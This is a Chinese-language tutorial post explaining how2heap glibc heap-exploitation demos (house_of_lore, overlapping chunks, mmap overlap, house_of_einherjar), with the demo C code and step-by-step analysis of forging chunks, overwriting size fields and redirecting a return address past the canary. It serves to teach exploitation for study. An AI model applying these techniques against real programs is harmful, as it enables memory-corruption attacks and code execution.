junh00🌈

Heap Exploitation - how2heap 2

how2heap

house_of_lore

这个例子主要是通过伪造chunk、fd和bk指针,使栈上的地址被安排到smallbin中,再通过malloc和memcpy来伪造数据,更改返回地址。

void jackpot(){
    fprintf(stderr, "Nice jump d00d\n"); exit(0);
}

int main(int argc, char * argv[]){

    // 1
    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[3] = {0};
    intptr_t *victim = malloc(0x100);

    // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
    intptr_t *victim_chunk = victim-2;

    stack_buffer_1[0] = 0;
    stack_buffer_1[1] = 0;
    stack_buffer_1[2] = victim_chunk;

    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

    // 2
    void *p5 = malloc(1000);
    fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);

    fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
    free((void*)victim);

    void *p2 = malloc(1200);

    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

    // 3
    victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

    //------------------------------------

    fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
    fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

    // 4
    void *p3 = malloc(0x100);

    char *p4 = malloc(0x100);

    fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
            stack_buffer_2[2]);

    // 5
    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

    // sanity check
    assert((long)__builtin_return_address(0) == (long)jackpot);
}

源码被划分成5个步骤:

  1. 栈上伪装一个chunk,主要完成了以下工作:

    stack_buffer_1 -> fd = victim_chunk

    stack_buffer_1 -> bk = stack_buffer_2[0]

    stack_buffer_1 -> fd = stack_buffer_1 // 这步是为了绕过small bin的检查:

  2. malloc后free,此时victim_chunk被加入unsorted bin,再次malloc使victim_chunk被加入small bin

  3. 更改了victim_chunk的bk指针,指向stack_buffer_1,此时small bin就相当于有两个chunk

  4. p3 被分配0x100字节,victim_chunk从small bin弹出,这时small bin->bk 指向的是stack_buffer_1

    p4 被分配0x100字节,这块内存的首地址是small bin->bk, 即stack_buffer_1 + 0x10的地址(mem)

    同时,由于stack_buffer_1这个fake chunk的bk指向的是stack_buffer_2,且stack_buffer_2的fd指向的是stack_buffer_1,所以,当stack_buffer_1从small bin取出后,small bin->bk指向的就是stack_buffer_2

  5. 此时p4指向的是栈地址,即stack_buffer_1 + 0x10的地址,所以可以通过memcpy可以更改栈上的数据。

    接着就是读取函数地址,并将其赋值给p4+40,绕过stack canary检查,覆盖返回地址。即完成ROP攻击。

参考下图:

house_of_lore

overlapping_chunks

free后改写chunk的size字段,使之后malloc的空间大于其原本的空间大小,与其他指针所指向的数据区域重叠

int main(int argc , char* argv[]){
    // 1
    intptr_t *p1,*p2,*p3,*p4;

    p1 = malloc(0x100 - 8);
    p2 = malloc(0x100 - 8);
    p3 = malloc(0x80 - 8);

    memset(p1, '1', 0x100 - 8);
    memset(p2, '2', 0x100 - 8);
    memset(p3, '3', 0x80 - 8);

    fprintf(stderr, "\nNow let's free the chunk p2\n");
    free(p2);

    // 2
    int evil_chunk_size = 0x181;
    int evil_region_size = 0x180 - 8;

    *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

    // 3
    p4 = malloc(evil_region_size);

    // 4
    memset(p4, '4', evil_region_size);
    memset(p3, '3', 80);
}
  1. 分配三块连续的内存,并填充不同的数据。释放p2,存入unsorted bin
  2. p2的size字段被设置为0x180,并且设置了prev_inuse为1
  3. p4被分配了0x180-8大小,unsorted bin中的chunk被取出,而该chunk的大小比原先大了0x80,导致p4末尾的区域与p3重叠了
  4. 用‘4’填充p4,覆盖掉了p3的数据;更改p3部分数据,覆盖掉p4部分数据

overlapping_chunks_2

这个与上一个的区别是在free之前更改大小

int main(){
    // 1
    intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
    unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
    int prev_in_use = 0x1;

    p1 = malloc(1000);
    p2 = malloc(1000);
    p3 = malloc(1000);
    p4 = malloc(1000);
    p5 = malloc(1000);

    real_size_p1 = malloc_usable_size(p1);
    real_size_p2 = malloc_usable_size(p2);
    real_size_p3 = malloc_usable_size(p3);
    real_size_p4 = malloc_usable_size(p4);
    real_size_p5 = malloc_usable_size(p5);

    memset(p1,'A',real_size_p1);
    memset(p2,'B',real_size_p2);
    memset(p3,'C',real_size_p3);
    memset(p4,'D',real_size_p4);
    memset(p5,'E',real_size_p5);

    free(p4);

    // 2
    *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE 

    free(p2);

    // 3
    p6 = malloc(2000);
    real_size_p6 = malloc_usable_size(p6);

    // 4
    memset(p6,'F',1500);
  1. 分配了5块内存,并用不同的字符填充内存块。最后释放p4(这一步不做也没影响)
  2. 伪装一个chunk size, 塞到p2的chunk size位置,让系统认为p2的chunk size 有size(p2+p3)那么大;释放p2。
  3. 分配了一块size(p2+p3)大小的内存给p6,覆盖了p3的内存
  4. 填充p6的数据,导致p3数据被修改

mmap_overlapping_chunks

如果malloc的参数大小超过了mp_.mmap_threshold,系统就会通过mmap来分配内存,由munmap来释放内存返回给kernel。通过mmap分配的内存的元数据中,m位被置为1,代表是mmap分配的。

Mmap chunk的prev_size代表mmap chunk的剩余空间,而不是下一个块的大小。并且,chunk被释放时也不会使用到fd和bk指针,因为它不会被放回bins中。

这里描述的也是覆盖chunk的攻击,只不过这里的chunk是通过mmap来分配的。

int main(){
    int* ptr1 = malloc(0x10);

    // 1
    long long* top_ptr = malloc(0x100000);
    printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

    // After this, all chunks are allocated downwards in memory towards the heap.
    long long* mmap_chunk_2 = malloc(0x100000);
    printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

    long long* mmap_chunk_3 = malloc(0x100000);
    printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

    // 2
    // Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
    // Additionally, this same attack can be used with the prev_size instead of the size.
    mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
    printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
    printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

   
    // Munmaps both the second and third pointers
    free(mmap_chunk_3); 

    /* 
    Would crash, if on the following:
    mmap_chunk_2[0] = 0xdeadbeef;
    This is because the memory would not be allocated to the current program.
    */

    // 3
    // Gets the distance between the two pointers.
    long long* overlapping_chunk = malloc(0x300000);

    // 4
    int distance = mmap_chunk_2 - overlapping_chunk;
    printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
    printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);

    // Set the value of the overlapped chunk.
    printf("Setting the value of the overlapped chunk\n");
    overlapping_chunk[distance] = 0x1122334455667788;

    assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}

  1. 分配了三块0x100000大小的内存,这些都是通过mmap分配的,所以不在heap的区域。第一块位于libc上方,而第二块位于libc下方,第三块位于第二块的下方。
  2. 更改chunk3的size字段,改成了size(chunk3+chunk2),大小为0x202002,然后释放chunk3。此时由于从chunk3 + 0x202000的区域已经返回给kernel,所以一旦操作读写chunk2就会造成崩溃
  3. 新分配一块内存,大小需要超过刚才被释放的大小0x202000,因为在前一步释放的过程中,mmapthreshold被更新成了0x202000。此时这块新分配的内存,覆盖掉了之前munmap的内存。
  4. 获取chunk2和overlappingChunk之间的距离,最后通过改写overlappingchunk的数据来改写chunk2的数据,完成攻击

参考:munmap madness

house_of_einherjar

这里是利用off-by-one来改写chunk的pre_inuse字段,并通过改写prev size和size字段来绕过检查,最终导致free时将块合并到目标地址,并通过下一次的malloc来获取目标地址内存。

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // 1
    printf("Welcome to House of Einherjar!\n");
    printf("Tested in Ubuntu 16.04 64bit.\n");
    printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* d;

    printf("\nWe allocate 0x38 bytes for 'a'\n");
    a = (uint8_t*) malloc(0x38);
    printf("a: %p\n", a);

    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

    // create a fake chunk
    printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
    printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
    printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
    printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

    size_t fake_chunk[6];

    fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck
    fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
    fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


    printf("Our fake chunk at %p looks like:\n", fake_chunk);
    printf("prev_size (not used): %#lx\n", fake_chunk[0]);
    printf("size: %#lx\n", fake_chunk[1]);
    printf("fwd: %#lx\n", fake_chunk[2]);
    printf("bck: %#lx\n", fake_chunk[3]);
    printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
    printf("bck_nextsize: %#lx\n", fake_chunk[5]);

    // 2
    /* In this case it is easier if the chunk size attribute has a least significant byte with
        * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
        * the chunk includes the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);

    printf("\nWe allocate 0xf8 bytes for 'b'.\n");
    printf("b: %p\n", b);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

    printf("\nb.size: %#lx\n", *b_size_ptr);
    printf("b.size is: (0x100) | prev_inuse = 0x101\n");
    printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0; 
    printf("b.size: %#lx\n", *b_size_ptr);
    printf("This is easiest if b.size is a multiple of 0x100 so you "
            "don't change the size of b, only its prev_inuse bit\n");
    printf("If it had been modified, we would need a fake chunk inside "
            "b where it will try to consolidate the next chunk\n");

    // 3
    // Write a fake prev_size to the end of a
    printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
            "it will consolidate with our fake chunk\n", sizeof(size_t));
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    //Change the fake chunk's size to reflect b's new prev_size
    printf("\nModify fake chunk's size to reflect b's new prev_size\n");
    fake_chunk[1] = fake_size;

    // 4
    // free b and it will consolidate with our fake chunk
    printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
    free(b);
    printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

    //if we allocate another chunk before we free b we will need to 
    //do two things: 
    //1) We will need to adjust the size of our fake chunk so that
    //fake_chunk + fake_chunk's size points to an area we control
    //2) we will need to write the size of our fake chunk
    //at the location we control. 
    //After doing these two things, when unlink gets called, our fake chunk will
    //pass the size(P) == prev_size(next_chunk(P)) test. 
    //otherwise we need to make sure that our fake chunk is up against the
    //wilderness

    printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
    d = malloc(0x200);
    printf("Next malloc(0x200) is at %p\n", d);
}

代码分为4个步骤:

  1. a指向一块0x38的内存,在栈上构造了一个fake chunk,并改写其pre_size,size,fd,bk,fd_nextsize,bk_nextsize字段

     pwndbg> x/8gx fake_chunk 
     0x7fffffffdd70: 0x0000000000000100 0x0000000000000100
     0x7fffffffdd80: 0x00007fffffffdd70 0x00007fffffffdd70
     0x7fffffffdd90: 0x00007fffffffdd70 0x00007fffffffdd70
     0x7fffffffdda0: 0x00007fffffffde90 0x8e07974ff9e77c00
    
  2. b指向一块0xf8实际0x100的内存,并通过溢出a来改写b的size字段,使其pre_inuse字段为0。

  3. 计算chunk(b)至fake chunk的距离,并将其写入a的最后一个字节,即b的prev_size字段,同时也需要改写fake chunk的size字段,绕过检查

  4. 最后,释放b,造成b与fake chunk合并,并通过malloc获取fake chunk的内存块